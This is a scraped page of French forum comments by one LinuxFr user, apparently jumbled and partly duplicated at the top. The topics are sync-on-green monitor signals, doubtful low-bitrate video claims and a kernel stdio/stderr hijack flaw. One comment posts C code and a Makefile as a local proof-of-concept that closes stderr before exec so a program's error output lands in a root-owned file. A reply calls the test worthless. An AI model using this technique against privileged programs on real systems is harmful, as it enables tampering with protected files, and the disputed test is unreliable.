le sync on green est la façon classique de coder la synchro pour le RGB video.
Les vieux moniteurs de stations de travail ( sun Appolo, HP 1100 ... )
disposaient tous d'entrée RGB sync on green.
Donc on trouve facilement des adaptateurs VGA->syn on green pour ces vieux écrans
mais plus difficilement l'inverse.
A ce que j'ai pu voir il faut compter une centaine d'euro pour un adaptateur
d'un signal sync on green vers un signal vga avec la synchro externe.
A ce prix la autant racheter un moniteur !
[remarque: je ne suis pas un pro de la video j'ai juste google un moment,
ceci est la traduction de mes trouvailles ]
sur ma version de linux il y a bien le probleme.
copiez le trois fichiers compromised.c exploit.c et Makefile dans un repertoire...
#compromised.c
#include <stdio.h>
int main( int argc, char* argv[]) {
FILE * f = fopen("root_owned_file", "r+");
if(f) {
fprintf(stderr, "%s: fopen() succeeded\n", argv[0]);
fclose(f);
}
}
#exploit.c
#include <unistd.h>
#include <stdio.h>
/*
argv[1] should contain global path to compromised program.
*/
int main(int argc, char* argv[]) {
/*
uhm this defeat execl...
while(dup(1) != -1);
*/
close(2);
execl(argv[1],
"this text will endup in the root_owned_file", 0);
Sur une video donnée cela est très possible, il suffit que le décodeur connaisse déja le film !
Sinon la théorie du signal et les théories relatives au codages s'opposent très certainement à cette avancée technologique.
Le son mange deja de la bande passante.... Mais peut être qu'avec un peu d'astuce on peut créer de toute pièces une video qui se compresse idéalement.
Un convertisseur vidéo -> animation vectorielle pourrait peut être permettre de faire ce genre de chose mais alors bye bye la "haute qualité" et bonjour les temps de codage !
Un jour les machines seront assez puissante pour recevoir des informations du style "les acteurs s'embrassent" mais on en est encore loin !
Je n'y croirai que le jour ou je pourrai tester.
[^] # Re: Sync On Green
Posté par philippe lhardy (site web personnel, Mastodon) . En réponse à la dépêche Le Kit Linux PS2 est disponible. Évalué à 2.
http://playstation2-linux.com/docman/display_doc.php?docid=5&gr(...)
le sync on green est la façon classique de coder la synchro pour le RGB video.
Les vieux moniteurs de stations de travail ( sun Appolo, HP 1100 ... )
disposaient tous d'entrée RGB sync on green.
Donc on trouve facilement des adaptateurs VGA->syn on green pour ces vieux écrans
mais plus difficilement l'inverse.
A ce que j'ai pu voir il faut compter une centaine d'euro pour un adaptateur
d'un signal sync on green vers un signal vga avec la synchro externe.
A ce prix la autant racheter un moniteur !
[remarque: je ne suis pas un pro de la video j'ai juste google un moment,
ceci est la traduction de mes trouvailles ]
[^] # Re: la plus rapide? Pour combien de temps?
Posté par philippe lhardy (site web personnel, Mastodon) . En réponse à la dépêche Entrevue avec Daniel Robbins de Gentoo. Évalué à 3.
à condition d'être dans les courbes d'univers près des 45 ° dans l'espace de minkowski...
( je sais c'est hors mais cela fait suite à ce qui précéde [corollaire du troll mou]).
[^] # Re: Pas grand monde...
Posté par philippe lhardy (site web personnel, Mastodon) . En réponse à la dépêche Sortie de Circle 0.26. Évalué à 5.
[^] # Re: j'ai teste pour vous sous linux
Posté par philippe lhardy (site web personnel, Mastodon) . En réponse à la dépêche Faille dans certains noyaux : détournement de stdio/stderr. Évalué à 9.
Ce test ne vaut effectivement rien.
# j'ai teste pour vous sous linux
Posté par philippe lhardy (site web personnel, Mastodon) . En réponse à la dépêche Faille dans certains noyaux : détournement de stdio/stderr. Évalué à -5.
copiez le trois fichiers compromised.c exploit.c et Makefile dans un repertoire...
#compromised.c
#include <stdio.h>
int main( int argc, char* argv[]) {
FILE * f = fopen("root_owned_file", "r+");
if(f) {
fprintf(stderr, "%s: fopen() succeeded\n", argv[0]);
fclose(f);
}
}
#exploit.c
#include <unistd.h>
#include <stdio.h>
/*
argv[1] should contain global path to compromised program.
*/
int main(int argc, char* argv[]) {
/*
uhm this defeat execl...
while(dup(1) != -1);
*/
close(2);
execl(argv[1],
"this text will endup in the root_owned_file", 0);
}
#Makefile
doit:
gcc compromised.c -o compromised
gcc exploit.c -o exploit
rm -f root_owned_file
touch root_owned_file
./exploit compromised
#test it
make doit
verifiez le contenu de root_owned file !
# Ils feraient bien de se relire aussi.
Posté par philippe lhardy (site web personnel, Mastodon) . En réponse à la dépêche L'éducation Nationale intègre le libre. Évalué à 0.
"Le schéma directeur des infrastrucres"
C'est ce qu'il y a à l'intérieur des trucs ?
Tsts, ça fait pas sérieux des coquilles dans un communiqué de l'éducation nationale :-)
# le soir au fond de mon lit...
Posté par philippe lhardy (site web personnel, Mastodon) . En réponse à la dépêche Toutes les commandes Linux. Évalué à 2.
# Si ca marche c'est certainement de la bidouille.
Posté par philippe lhardy (site web personnel, Mastodon) . En réponse à la dépêche Le retour de la video haute qualité plein écran en 28.8kbps. Évalué à 3.
Sinon la théorie du signal et les théories relatives au codages s'opposent très certainement à cette avancée technologique.
Le son mange deja de la bande passante.... Mais peut être qu'avec un peu d'astuce on peut créer de toute pièces une video qui se compresse idéalement.
Un convertisseur vidéo -> animation vectorielle pourrait peut être permettre de faire ce genre de chose mais alors bye bye la "haute qualité" et bonjour les temps de codage !
Un jour les machines seront assez puissante pour recevoir des informations du style "les acteurs s'embrassent" mais on en est encore loin !
Je n'y croirai que le jour ou je pourrai tester.